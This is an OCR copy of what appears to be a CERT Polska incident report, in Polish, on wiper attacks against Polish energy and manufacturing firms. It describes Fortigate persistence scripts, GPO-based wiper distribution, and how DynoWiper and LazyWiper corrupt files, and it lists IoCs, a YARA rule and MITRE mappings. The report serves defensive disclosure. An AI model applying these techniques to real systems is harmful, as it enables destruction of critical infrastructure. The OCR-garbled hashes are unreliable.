probe zaktocenia funkcjonowania przedsiebiorstwa z sektora produkcyjne-
go. Dziatania te zostaty przeprowadzone w skoordynowany sposob z atakami
na przedsiebiorstwa sektora energetycznego, ale cel miat charakter oportuni-
styczny i nie jest powigzany z innymi podmiotami.

Poczatkowy dostep

Atakujacy uzyskat dostep poprzez urzadzenie brzegowe Fortinet. Urzgdzenie
byto w przesztosci podatne, a jego konfiguracja zostata wykradziona i opubli-
kowana m.in. w jednym z postow na forum internetowym wykorzystywanym
przez srodowiska przestepcze. Po uzyskaniu dostepu do urzgdzenia, atakujg-
cy wprowadzit zmiany majace na celu zachowanie dostepu do niego po zmia-
nie haset uzytkownikow.

Modyfikacja konfiguracji Fortigate
w celu persystenciji

Wprowadzone modyfikacje bazujg na mechanizmie skryptow wbudowanym
w urzadzenia Fortinet. Atakujacy utworzyt dwa skrypty celem dalszej eksfil-
tracji poswiadczen (rys. 20) i modyfikacji ustawien bezpieczenstwa (rys. 21).
Obydwa skrypty byty wykonywane co tydzien.
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RYS. 20

RYS. 21

Skrypt stuzacy do odczytania hasta uprzywilejowanego uzytkownika
odnaleziony na urzadzeniu Fortigate. Zredagowany fragment zawiera
nazwe konta wykorzystywanego przez atakujacego.

Skrypt stuzacy do modyfikacji ustawien bezpieczenstwa odnaleziony
na urzadzeniu Fortigate. Zredagowany fragment zawiera nazwe konta
wykorzystywanego przez atakujacego.
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Urzadzenia Fortigate zawierajg wbudowang funkcjonalno$¢ przesytania po-
wiadomien na wskazany kanat w ustudze Slack. Wiadomos¢ moze zawiera¢
predefiniowany tekst, ale rowniez informacije z ustug systemowych (np. log)
lub wynik dziatania innych skryptéw. Atakujacy wykorzystat ten skrypt do
przesytania na kontrolowany przez siebie kanat Slack wynikow wykonania po-
przednich dwdch skryptow.

RYS.22 ———— Skrypt stuzacy do przesytania danych na kontrolowany przez siebie
kanat Slack odnaleziony na urzadzeniu Fortigate. Zredagowany fragment
zawiera nazwe konta wykorzystywanego przez atakujacego.

Wszystkie trzy skrypty byty widoczne w panelu konfiguracyjnym, w za-
ktadce zaplanowanych zadan.

RYS.23 ———— Widok zaplanowanych zadan z urzadzenia Fortigate
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3 https://github.com/fortra/
impacket

Dostep do systemu spotki oraz lateral movement

Aby uzyskac dostep do wewnetrznego systemu spotki, atakujacy wykorzystat
posiadane dane uwierzytelniajgce do utworzenia tunelu SSL-VPN.

Do poruszania sie po urzadzeniach w sieci atakujgcy wykorzystat m.in.
pakiet narzedzi Impacket®.

Uruchomienie skryptu niszczacego pliki

Atakujacy uzyskat dostep do kontrolera domeny z uprawnieniami admini-
stratora. W celu dystrybucji skryptu niszczacego pliki atakujgcy wykorzystat
ten sam skrypt co w przypadku elektrocieptowni (stworzenie polityki GPO),
pobierajac docelowy plik z udziatu sieciowego. Natomiast sam wiper zo-
stat napisany w jezyku PowerShell. Jego doktadna analiza zostata opisana
w dedykowanym rozdziale (LazyWiper).
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Dziatania przeciwko
ustugom chmurowym

Atakujgcy wykorzystywat dane uwierzytelniajagce pozyskane ze srodowiska
lokalnego do prob uzyskania dostepu do ustug chmurowych. Po znalezie-
niu danych uwierzytelniajacych, dla ktérych istniato odpowiadajgce im konto
w ustudze M365, pobierat wybrane dane z ustug takich jak Exchange, Teams
oraz SharePoint. Atakujacy byt zainteresowany m.in. plikami i wiadomos$ciami
e-mail dotyczgcymi modernizaciji sieci OT, systemow SCADA czy prac tech-
nicznych prowadzonych w podmiotach.

Atakujgcy probowat poszerzyé uprawnienia, korzystajac z btednie skon-
figurowanych uprawnien.
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Analiza ztosliwego
oprogramowania

Podczas ataku zostaty uzyte probki ztosliwego oprogramowania, ktorych nie
udato sie dopasowaé¢ do zadnej istniejacej rodziny. Celem ztosliwego opro-
gramowania byta nieodwracalna destrukcja danych, bez préby wymuszania
okupu. Zaobserwowano dwie kategorie tego typu oprogramowania: skompi-
lowane do pliku wykonywalnego (DynoWiper) oraz napisane w PowerShellu
(LazyWiper).

DynoWiper

Podczas obstugi incydentow odnaleziono cztery probki ztosliwego oprogra-
mowania dziatajgcego w podobny sposob (zob. tabela ponize;j).

TABELA 1
Analizowane wersje DynoWiper
Sha256 Nazwa pliku Data Wersja Incydent
kompilaciji
(UTC)
65099f306d27c8bcdd7ba3062c012d24  Source.exe 2025-12-26 A Farma OZE
71812ec5e06678096394b238210f0f7cC 13:51:11
835b0d87ed2d49899ab6+9479cddb8b4  dynacom_update.exe 2025-12-26 A Elektrocieptownia
e03f5aeb2365c50a5119088dcede68d5 13:51:11
60c70cdcbl1e998bffed2e6e7298elab6  schtask.exe 2025-12-29 B Elektrocieptownia
bb3d90df04e437486c04e77c411caedb 13:17:06
d1389al1ff652f8ca5576f10e9fa2bf8e  schtask.exe 2025-12-29 B Elektrocieptownia
8398699ddfc87ddd3e26adb201242160 14:10:07
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RYS. 24

Mozna rozrdznic wersje A i B ztosliwego oprogramowania:

Pliki dynacom_update.exe oraz Source.exe to ten sam program, jedyna
roznica to ocenzurowana sciezka PDB w wersji dynacom_update.

Pliki schtask.exe sa praktycznie identyczne - jest to prawdopodobnie ten
sam kod zrodtowy skompilowany dwa razy (czasy kompilacji roznig sie
0 40 minut).

Roznica miedzy wersjami A i B jest niewielka i zostanie opisana ponize;.

Nalezy mie¢ swiadomosc, ze data kompilacji deklarowana przez plik wy-

konywalny jest tatwa do podrobienia przez atakujgcego, natomiast znalezione
daty odpowiadajg datom ataku oraz prawdopodobnej chronologii wydarzen.

Operacje wykonywane przez ztosliwe oprogramowanie mozna podsumo-

wagé nastepujaco:

inicjalizacja (w tym seed generatora liczb losowych),
uszkodzenie danych w systemie plikow,
usuniecie plikow na dysku,

zakonczenie pracy (shutdown komputera — w wers;ji A).

Funkcja main wyglada nastepujaco (wszystkie nazwy lokalnych funkg;ji

zostaty nadane w trakcie analizy):

Funkcja main z DynoWiper w wersji A
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RYS.25 ————

RYS.26 —————

Podstawowa rdéznica miedzy wersjami A i B polega na tym, ze w wers;ji B
funkcja wytgczania komputera zostata usunieta — program konczy dziatanie
bez wotania funkcji ExitWindowsEx. Dodatkowo w wersji B zostato dodane
wywotanie funkgcji Sleep (5000) miedzy etapami uszkadzania i usuwania pli-
kow. W wersiji B funkcja main wyglada nastepujaco:

Funkcja main z DynoWiper w wersji B

Uzyty generator liczb losowych to popularny algorytm Mersenne Twister.
Nie nadaje sie on do zastosowan kryptograficznych, niestety w przypadku
analizowanego ztosliwego oprogramowania losowe dane uzywane do nadpi-
sania plikow sa przewidywalne, ale nie umozliwiajg odzyskania danych.

Funkcje WipeCorruptData oraz WipeEraseFiles wygladajg podobnie,
aich najwazniejszy fragment przedstawia sie nastepujaco:

Fragment inicjujacy uszkadzanie plikow w gtéwnym katalogu
kazdego dysku.
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RYS. 27 ———

Funkcja ScanLogicalDrives tworzy liste dyskow widocznych dla sys-
temu (korzystajac z funkcji GetLogicalDrives oraz GetDriveType), zbie-
rajac dyski typoéw DRIVE REMOVABLE oraz DRIVE FIXED. Nastepnie dla
kazdego z tych dyskow wykonywane jest rekursywne uszkadzanie/usuwa-
nie plikow. Dla kazdego katalogu, z uzyciem funkcji FindFirstFilei Find-
NextFile, przegladamy wszystkie zawarte w nim elementy i wykonujemy
nastepujaca operacje:

Fragment kodu odpowiedzialny za przeglad oraz filtrowanie katalogéw.

Oznacza to, ze jesli przegladany element to plik, wowczas nastepu-
je uszkodzenie go, a jesli katalog, to przegladamy go rekursywnie, pod wa-
runkiem ze nazwa katalogu to nie (case-insensitive) jedno z wymienionych
ponizej:

*  system32,

e windows,

°  program files,

e program files(x86),
°  temp,

°  recycle.bin,

°  S$recycle.bin,

°*  boot,
°  perflogs,
e  appdata,

* documents and settings.
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Warto zauwazyc, ze w nazwie katalogu ,program files(x86)” jest btad.
Jest to wynik pomyiki atakujgcego — poprawna nazwa zawiera spacje po
Lfiles”, a wiec powinno by¢: ,program files (x86)”.

Ostatecznie sama procedura uszkadzania pliku wyglada nastepujaco:

Kod odpowiedzialny za uszkodzenie pliku przez nadpisanie go
16-bajtowymi fragmentami.

Kazdy plik jest otwierany za pomoca metody CreateFilel, a nastepnie
jest on nadpisywany za pomocg wielu wywotan funkcji SetFilePointerEx
oraz WriteFile. llos¢ fragmentdw do nadpisania oraz same nadpisywane
bajty sa generowane z uzyciem zainicjowanego wczesniej generatora liczb
losowych Mersenne Twister. Oprogramowanie ztosliwe uszkadza pliki po-
przez wybor kilku offsetow do nadpisania w pliku ofiary pseudolosowymi cig-
gami 16 bajtow. Program zawsze nadpisuje poczatek pliku i zawsze zapisuje
CcOo najmniej 16 bajtow (nawet jesli uszkadzany plik byt mniejszy albo pusty).
Liczba miejsc do nadpisania jest dobierana na podstawie rozmiaru pliku. Im
wiekszy plik do nadpisania, tym oprogramowanie ztosliwe wybierze wiecej
miejsc do nadpisania, ale nigdy nie wiecej niz 4096. Nastepnie te offsety sg
nadpisywane ciggami pseudolosowych bajtéw. Nalezy zaznaczy¢, ze wy-
bor jedynie kilku pseudolosowych offsetow do nadpisania znacznie przyspie-
sza proces uszkadzania plikdw w poréwnaniu z nadpisywaniem catego pliku.
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Program zmienia atrybuty uprawnien kazdego pliku za pomocg wywotania
SetFileAttributesEx z parametrem FILE_ATTRIBUTE_NORMAL.

Funkcja CreateException zawiera charakterystyczny napis unicode

,Error opening file:” (jest to fragment komunikatu btedu uzywanego przez pro-

gram na wypadek problemow przy pisaniu do pliku).

Po nadpisaniu plikow metodg WipeCorruptData wiper usuwa pliki z uzy-
ciem metody WipeEraseData. Stosowany jest zmodyfikowany algorytm
przechodzenia po dysku —tym razem nie sg pomijane katalogi znajdujace sie
w gldwnym katalogu, ale nadal stosowana jest lista wykluczen z pierwszej fazy
dla podkatalogéw. Do usuwania uzywana jest funkcja DeleteFilel.

Warto podkreslic¢ to, czego nie ma w programie:

*  Program nie ma zadnej funkcji persystencji, to znaczy nie probuje uru-
chomic sie po restarcie komputera.

*  Program nie komunikuje sie z zadnym serwerem C2.
*  Program nie wywotuje zadnych polecen shellowych w systemie.

e Program nie podejmuje zadnej proby ukrycia swojego dziatania przed
oprogramowaniem antywirusowym.

Charakterystyczna jest Sciezka PDB znajdujaca sie we wszystkich pro-
gramach poza dynacom_update.exe:

C:\Users\vagrant\Documents\Visual Studio 2013\Projects\Source\
Release\Source.pdb.

Nie udato sie znalez¢ wiecej publicznie dostepnych probek z tg cecha.

LazyWiper

W incydencie zwigzanym z przedsiebiorstwem z sektora produkcyjnego atak
destrukcyjny zostat wykonany przy uzyciu wipera napisanego w PowerShellu,
nazwanego przez nas LazyWiper.

Skrypt nadpisuje pliki na urzadzeniu pseudolosowymi ciggami 32 bajtow,
umieszczanymi co 16 bajtéw. Spowoduje to nadpisanie %4 pliku i tym samym
uniemozliwi jego uzycie lub odtworzenie. Nadpisywanie realizowane jest
za pomoca funkcji w jezyku C# o nazwie WriteRandomBytes. Funkcjatama
inny ukfad, styl pisania oraz konwencje uktadu kodu od reszty skryptu. Znaj-
dujg sie w niej tez pozbawione sensu komentarze, ktérych prawdopodobnie
nie umiescitby zaden programista. Wydaje sie, ze taki sposob uszkadzania
pliku zostat wybrany, poniewaz miat by¢ szybszy niz nadpisywanie catego pli-
ku. Ze wzgledu na sposob wykonywania operac;ji plikowych tak naprawde jest
on duzo wolniejszy. Funkcja prawdopodobnie zostata wygenerowana za po-
moca modelu LLM.
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RYS.29 ———— Funkcja w jezyku C# stuzaca do nadpisywania plikow.

Skrypt posiada zabezpieczenie, ktore przerwie wykonanie, jezeli zostat
uruchomiony na kontrolerze domeny:

RYS.30 ——— Fragment kodu zabezpieczajacy przed szyfrowaniem kontrolera domeny.

Funkcja nadpisujgca dane jest uruchamiana dla plikdw o nastepujacych
rozszerzeniach:

.rar, .tar.gz, .zip, .7z, .json, .bcp, .bak, .gho, .erf, .edb,
.onepkg, .pst, .ldiff, .pcf, .pfx, .crt, .pcks, .key, .pcksl2, .pcks7,
.p7b, .pem, .rtf, .asd, .wbk, .xlk, .dit, .x1lsx, .pcp, .old, .png,
.odt, .doc, .cfe, .acd, .xsd, .vbm, .vhd, .vsdx, .vsd, .jpg, .prj,
.nwf, .dll, .nwd, .sln, .log, .jpeg, .dt, .lcd, .cad, .ddf, .xls,
.nwc, .dat, .xml, .doc, .docx, .adt, .proj, .img, .sql, .vib, .txt,
.sta, .xdw, .epf, .bak, .vss, .cfl, .bkp, .dwg, .pdf, .ger, .exe
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TABELA2 —— Analizowana wersja oprogramowania LazyWiper.

Sha256 Nazwa pliku
033cb31c081ff4292182e528F5cb78a503816462daba8cc18a6c4531009602c2 KB284726.psl

Sposob dystrybucji Wiperow

Ztosliwe oprogramowanie w incydencie dotyczacym farm OZE zostato uru-
chomione bezposrednio na maszynie HMI. Natomiast w elektrocieptowni
(DynoWiper) oraz firmie z sektora produkcyjnego (LazyWiper) zostato rozdys-
trybuowane w domenie AD przez skrypt PowerShell uruchomiony na kontro-
lerze domeny.

RYS.31 ———— Poczatkowy fragment kodu skryptu dystrybuujgcego malware.

Celem skryptu byto stworzenie zadania GPO. Odnaleziono dwie wersje
roéznigce sie jedynie sciezkg do uruchamianego pliku. Skrypt dziata w naste-
pujacy sposob:

e Wykonuje backup obecnej polityki GPO ,Default Domain Policy”.

*  Modyfikuje go, zmieniajac (miedzy innymi):
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e GPOGuid na nowy, wygenerowany przy pomocy
[GUID]: :NewGuid()

* DisplayName na,Custom Domain Policy”

e MachineVersionNumber na ,262148”.

*  Definiuje zadanie typu ScheduledTask, ktore:
* Uruchamia sie z prawami NT AUTHORIT Y \System z najwyzszym
dostepnym RunLevelem.

* Uruchamia plik wgrany wczesniej przez atakujgcego do wspotdzie-
lonego katalogu.

« Usuwa samo siebie za pomocg komendy schtasks.exe /delete
/TN "Custom GPO Task" /F.

*  Nastepnie ,przywraca” utworzony i zmodyfikowany w ten sposob backup,
ktory tworzy zdefiniowane powyzej zadanie.

* Na koniec usuwa pliki ,,C:\Windows\Temp\manifest.xm!”, ,C:\Windowsl\
Temp\{$backupld}\*”.

Skrypt jest bardzo prosty i nie ma wielu unikalnych cech charakterystycznych,
poza:

* nazwa polityki ,Custom Domain Policy”,
° nazwatworzonego zadania ,Custom GPO Task”,

* GUIDemfiltra tworzonego zadania
,(9A87EBB-4DF6-4541-9530-CADBBEESA7AD”.

TABELA3 ——— Analizowane wersje skryptu dystrybuujagcego malware.
Sha256 Nazwa pliku
8759e79c13341406564635f3f08b21333b0547c444735dba54ea6fce8539cf15 dynacon_update.psl
f4e9a3ddb83c53f5b7717af737ab0885abd2f1b89b2c676d3441a793f65ffaee exp.psl
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1 https://blog.talosintelligence.

com/static-tundra/

2 nhttps://www.ic3.gov/
PSA/2025/PSA250820

Atrybucja

CERT Polska wykonat analize infrastruktury wykorzystanej do ataku, opisa-
nej w rozdziale ,Wskazniki kompromitacji”. Analiza bezposredniej infrastruk-
tury wskazata, ze atakujacy korzystat m.in. z przejetych serwerow VPS oraz
przejetych routerow Cisco. Uzywajac komercyjnych zrédet danych, w tym
monitorujgcych przeptywy sieciowe, zidentyfikowano rowniez dodatkowe po-
wigzane przejete urzadzenia, o niemal identycznych cechach z wykorzysta-
nymi do przeprowadzenia ataku.

CERT Polska poréwnat charakterystyke urzadzen z opisywanymi pu-
blicznie rodzajami infrastruktury anonimizujgcej wykorzystywanej przez gru-
py APT. W oparciu o posiadane informacje oraz konsultujac zrekonstruowang
komunikacje pomiedzy urzgadzeniami z firmami z sektora threat intelligence
ustalono, ze pokrywa sie ona w znacznym stopniu z opisywang przez Cisco*
oraz FBI* i jest wykorzystywana przez klaster aktywnosci znany w prze-
strzeni publicznej jako ,Static Tundra” (Cisco), ,Berserk Bear” (CrowdStrike),

»,Ghost Blizzard” (Microsoft) oraz ,Dragonfly” (Symantec). Publicznie dostep-

ne opisy dziatan aktora wskazujg na duze zainteresowanie sektorem energe-
tyki oraz posiadanie zdolnosci w atakowaniu urzadzen przemystowych, co
jest zbiezne z obserwowanymi w incydencie dziataniami atakujgcego. Nato-
miast jest to pierwsza publicznie opisana aktywnosé o charakterze destruk-
cyjnym przypisywana do tego klastra aktywnosci.

CERT Polska na podstawie zgromadzonych danych moze stwierdzic, ze
infrastruktura uzyta do uzyskania poczatkowego dostepu, kradziezy danych
z systemow oraz do zestawienia tuneli VPN uzytych do uruchomienia opro-
gramowania typu wiper oraz do prob uszkodzenia dyskow macierzy RAID
serwera, pokrywa sie z infrastrukturg ,,Static Tundra”.

CERT Polska wykonat rowniez analize uzytego ztosliwego oprogramowa-
nia oraz poroéwnat je z historycznie wykorzystywanym w podobnych atakach.
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3 Np. publicznie dostepna
probka:
bfdal42bc5c44913
eed9eflcf2a8ado7
b7a71312a26e4c7c
519bfla3fedeb6ad

4 nhttps://www.welivese-
curity.com/2022/05/20/
sandworm-ukraine-new-ver-
sion-arguepatch-malware-
-loader/

5 https://www.welivesecurity.
com/2022/11/28/ransombog-
gs-new-ransomware-ukraine/

Ztosliwe oprogramowanie DynoWiper zawiera pewne podobienstwa
do narzedzi typu wiper® wigzanych z klastrem aktywnosci znanym w prze-
strzeni publicznej jako ,,Sandworm” oraz ,SeashellBlizzard”. Mimo wykrytych
wspolnych cech w zakresie sposobu dziatania i ogblnej architektury, zakres
podobienstwa jest jednak zbyt niski, aby przypisa¢ DynoWiper do uzywanych
wczesniej rodzin narzedzi typu wiper.

*  Skrypt PowerShell uzyty do uruchomienia DynoWiper na stacjach robo-
czych wykorzystuje tg samg technike co narzedzia wigzane z klastrem
,Sandworm” wykorzystywane w przesztosci do uruchomienia wiperow ta-
kich jak ArguePatch* czy RansomBoggs®, ale jego kod zrédtowy nie za-
wiera czesci wspolnych z opisywanymi wczesniej narzedziami.

°  Skrypt LazyWiper zostat prawdopodobnie w znacznej czesci wygenero-
wany przez LLM i nie zawiera cech charakterystycznych. Z tego powodu
nie moze zostac¢ wykorzystany w okresleniu atrybucji.

Publicznie dostepny opis dziatan tego aktora wskazuje, ze historycznie
wielokrotnie prowadzit dziatania destrukcyjne na Ukrainie, w tym wobec pod-
miotow z branzy energetycznej (BlackEnergy) oraz przeciwko podmiotom
w Polsce (PrestigeRansomware). Natomiast biorgc pod uwage ogolny cha-
rakter wykrytych podobienstw i brak silnych powigzan do znanych narzedzi,
CERT Polska nie moze jednoznacznie okresli¢ czy aktor stojacy za zbiorem
aktywnosci ,Sandworm” w jakimkolwiek stopniu wspotuczestniczyt w ataku.
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Wskazniki kompromitacji
(loC)

Aby umozliwi¢ niezalezng analize, wszystkie wskazane ponizej pliki zostaty
umieszczone na portalach stuzacych do analizy i wspotdzielenia ztosliwego
oprogramowania. W szczegoblnosci sg one dostepne do pobrania za darmo
na portalu https:/mwdb.cert.pl.

Skroty Sha256
Nazwa pliku Typ pliku Sha256
dynacom_update.psl PowerShell dystrybuujacy 8759e79c13341406564635f3f08b2133
DynoWiper 3b0547c444735dba54eab6fce8539cf15
expl.psl PowerShell dystrybuujacy f4e9a3ddb83c53f5b7717af737abo885
DynoWiper abd2f1b89b2c676d3441a793f65ffaee
Source.exe DynoWiper 650991306d27c8bcdd7ba3062c012d24
71812ec5e06678096394b238210f0f7C
dynacom_update.exe DynoWiper 835b0d87ed2d49899ab6+9479cddb8b4
e03f5aeb2365c50a5119088dcede68d5
schtask.exe DynoWiper 60c70cdcble998bffed2e6e7298elab6
bb3d90dfe4e437486c04e77c41lcaedb
schtask.exe DynoWiper d1389alff652f8ca5576f10e9fa2bf8e
8398699ddfc87ddd3e26adb201242160
KB284726.psl LazyWiper ©33CB31CO81FF4292F82E528F5CB78A5

03816462DABA8CC18A6(4531009602C2

Ponizszego pliku nie udato sie uzyskac do analizy, w zwigzku z czym nie
mamy mozliwosci udostepnienia go.

Nazwa pliku Typ pliku Sha256
dynacom_update.psl Prawdopodobnie pierwotna 68192CAOFDE951D973EB41A07814F402
wersja skryptu Powershell F2B46E610889224BD54583D8A332A464

dystrybuujacego DynoWiper
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IP
185.200.177[.]10

31.172.71[]5
31.172.71[]5:50443/TCP
31.172.71[]5:8008/TCP
31.172.71[]5:44445/TCP

193.200.17[.]163

185.82.127[]20
41.111.178[]225
72.62.35[]76
89.116.111[]143
194.61.121[]178

159.69.50[.]242

Wskazniki s

Obserwowane

Grudzien 2025

Grudzien 2025

Listopad 2025

Listopad 2025
Grudzien 2025
Grudzien 2025
Grudzien 2025
Grudzien 2025

Listopad 2025

ieciowe

Szczegoty

Logowania do vpn oraz O365. Uzycie przeciwko wielu podmiotom.
Bezposrednie uruchomienie DynoWiper. Przejety serwer.

Reverse proxy, uzywany celem eksfiltracji danych.
Przejety serwer.

Logowania do vpn. Uzycie przeciwko wielu podmiotom.
Przejety serwer.

Logowania do vpn.
Logowania do vpn oraz O365. Przejety serwer.
Logowania do vpn.
Logowanie do vpn.
Logowania do vpn.

Logowania do vpn.

Reguty detekcji

DynoWiper
rule DynoWiper
{
meta:
author = "CERT Polska"
date = "2025-12-31"
hash = "4ec3c90846af6b79eela5188eefal3dfd21f6d4cfe"
hash = "86596a5c5b05a8bfbd14876de7404702f7dod61b"
hash = "69ede7e341fd26fa®577692b601d80cb44778d93"
hash = "0e7dba8790983689618072d213fa2da9afae3633"
strings:
$al = "$recycle.bin" wide
$a2 = "program files(x86)" wide
$a3 = "perflogs" wide
$a4 = "windows\x00" wide
$bl = "Error opening file: " wide
condition:
uintl6(@) == Ox5A4D
and
filesize < 500KB
and
4 of them
¥
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MITRE ATT&CK Enterprise

Nazwa techniki ID

Opis

UZYSKANIE POCZATKOWEGO DOSTEPU

External Remote T1133
Services
Valid Accounts: T1078.003

Local Accounts

Wykorzystanie urzgdzen brzegowych

Fortinet do uzyskania dostepu
do infrastruktury

Logowanie na urzadzenie Fortinet
w przedsiebiorstwie sektora
produkcyjnego

URUCHOMIENIE

Dystrybucja wipera w domenie
z wykorzystaniem Scheduled Task

Wykonywanie polecen za pomoca
narzedzia PsExec

Scheduled Task/Job: T1053.005
Scheduled Task

System Services: T1569.002
Service Execution

PERSYSTENCJA

External Remote T1133
Services

Valid Accounts: T1078.003

Local Accounts

Scheduled Task/Job T1053

Wykorzystanie Fortigate VPN
do tagczenia sie z zaatakowanymi
podmiotami

Wykorzystanie lokalnych kont
Fortigate VPN do fgczenia sie
z zaatakowanymi podmiotami

Utworzenie skryptow na urzadzeniu
Fortigate w celu kradziezy
poswiadczen administratora

oraz modyfikacji konfiguracji

ESKALACJA UPRAWNIEN

Access Token T1134
Manipulation

Valid Accounts: T1078.003
Local Accounts

Kradziez poswiadczen z ustugi
LSSAS

Eskalacja uprawnien za pomoca
tokenu procesu

Wykorzystywanie konta posiada-
jacego uprawnienia administratora
na urzadzeniu brzegowym

UNIKANIE WYKRYCIA

Domain or Tenant Policy T1484.001
Modification: Group
Policy Modification

Dystrybucja wipera w domenie
poprzez modyfikacje polityki GPO
,Default Domain Policy”
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Nazwa techniki

File and Directory
Permissions Modification

Impair Defenses:
Disable or Modify
Network Device Firewall

Indicator Removal:
File Deletion

T1222

T1562.013

T1070.004

Opis

Zmiana uprawnien plikdw przez wiper

Modyfikacja konfiguracji urzadzen
Fortigate

Usuwanie przez wiper plikow
tworzonych podczas wykonania

DOSTEP DO DANYCH UWIERZYTELNIAJACYCH

OS Credential Dumping

Steal or Forge Kerberos
Tickets

T1003

T1558

Kradziez poswiadczen z ustugi
LSSAS,NTDS oraz SAM/SYSTEM

Utworzenie tzw. Diamond Ticket

ROZEZNANIE W INFRASTRUKTURZE

Account Discovery

File and Directory
Discovery

Local Storage Discovery

Network Service
Discovery

Network Share Discovery

Process Discovery

Remote System
Discovery

System Network
Configuration Discovery

System Network
Connections Discovery

System Owner/User
Discovery

T1087

T1083

T1680

T1046

T1135

T1067

T1018

T1016

T1049

T1033

Odczytanie zawartosci katalogu
Users

Odczytanie zawartosci katalogu
Users

Tworzenie przez wiper listy dyskow
widocznych dla systemu

Sprawdzanie ustug dostepnych
W sieci

Sprawdzanie zasobow SMB
dostepnych w sieci

Sprawdzanie procesow dziatajacych
na systemie

Sprawdzanie systemow dostepnych
w sieci

Odczytanie tablicy routingu
oraz ARP cache

Sprawdzanie potgczen sieciowych

Odczytanie zawartosci katalogu
Users

PORUSZANIE SIE POMIEDZY URZADZENIAMI

Remote Services

T1021

Wykorzystanie RDP do taczenia sie
do urzadzen w sieci wewnetrznej
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Nazwa techniki ID

ZBIERANIE INFORMACUJI

Data from Configuration T1602.002
Repository: Network
Device Configuration

Dump

Opis

Zrzut konfiguracji urzgdzen Firewall

COMMAND AND CONTROL

Hide Infrastructure T1665 Wykorzystywanie przejetej infra-
struktury do komunikacji

Ingress Tool Transfer T1105 Pobieranie narzedzi z serwisu
Dropbox

Proxy T1090 Wykorzystywanie Reverse SOCKS
Proxy oraz sieci TOR

Remote Access Tools: T1219.002 Wykorzystanie RDP do tgczenia sie

Remote Desktop do urzadzen w sieci wewnetrznej

Software

EKSFILTRACJA

Exfiltration Over Web T1567 Wystanie wykradzionych danych

Service protokotem HTTP na serwer
atakujgcych

Exfiltration Over Web T1567.004 Przesytanie wynikow wykonania

Service: Exfiltration skryptow na kanat Slack

Over Webhook

WPLYW

Data Destruction T1485 Uszkodzenie plikow przez wiper

Disk Wipe: Disk T1561.002 Modyfikacja konfiguracji macierzy

Structure Wipe RAID

Inhibit System T1490 Zmiana adresacji IP zaatakowanych

Recovery urzadzen

System Shutdown/ T1529 Wytgczenie urzadzenia przez wiper

Reboot
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MITRE ATTGCKICS

Nazwa techniki ID

Opis

UZYSKANIE POCZATKOWEGO DOSTEPU

External Remote T0822
Services
Remote Services T0O886

Wykorzystanie urzgdzen brzegowych
Fortinet do uzyskania dostepu
do farm OZE

taczenie sie do urzadzen automatyki
przemystowej z przejetych urzadzen
brzegowych

URUCHOMIENIE

Command-Line Interface TO807

Graphical User Interface T0823

Wykonywanie polecen
na sterownikach

Potfaczenie do komputera HMI
z wykorzystaniem RDP

PERSYSTENCJA

Valid Accounts T0859

Wykorzystywanie fabrycznych
kont systemowych

ROZEZNANIE W INFRASTRUKTURZE

Network Connection TO840
Enumeration

Remote System TO846
Discovery
Remote System T0888

Information Discovery

Sprawdzanie potaczen sieciowych
na komputerze HMI

Skanowanie sieci w poszukiwaniu
urzadzen automatyki

Identyfikacja urzadzen automatyki
na przyktad w celu skorzysta-

nia z odpowiednich danych
uwierzytelniajgcych

PORUSZANIE SIE POMIEDZY URZADZENIAMI

Default Credentials T0812
Remote Services T0O886
Valid Accounts T0859

Wykorzystywanie fabrycznych kont
systemowych

taczenie sie do urzadzen automatyki
przemystowej w sieci wewnetrzne;j
(m.in. SSH, RDP)

Wykorzystywanie fabrycznych kont
systemowych
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Nazwa techniki ID
ZBIERANIE INFORMACJI

Screen Capture T0852

Opis

Wykonywanie zrzutow ekranu
urzadzen automatyki przemystowe;j

INHIBIT RESPONSE FUNCTION

Change Credential T0892
Data Destruction T0809
Device Restart/Shutdown  T0816
System Firmware T0857

Zmiana hasta w przejetych
urzadzeniach Moxa Nport

Usunigcie plikow ze sterownikow
RTU Mikronika

Wylaczanie przejetych urzadzen
automatyki przemystowej

Wegranie uszkodzonego firmware
uniemozliwiajgcego uruchomienie
sterownika

ZAKLOCENIE PROCESU STEROWANIA

Module Firmware T0892 Wgranie uszkodzonego firmware
uniemozliwiajacego uruchomienie
sterownika

WPLYW

Loss of Control T0827 Uszkodzenie sterownikow RTU
i uniemozliwienie komunikacji obiektu
zOSD

Loss of View T0829 Uszkodzenie sterownikow RTU

i uniemozliwienie komunikacji obiektu

zOSD
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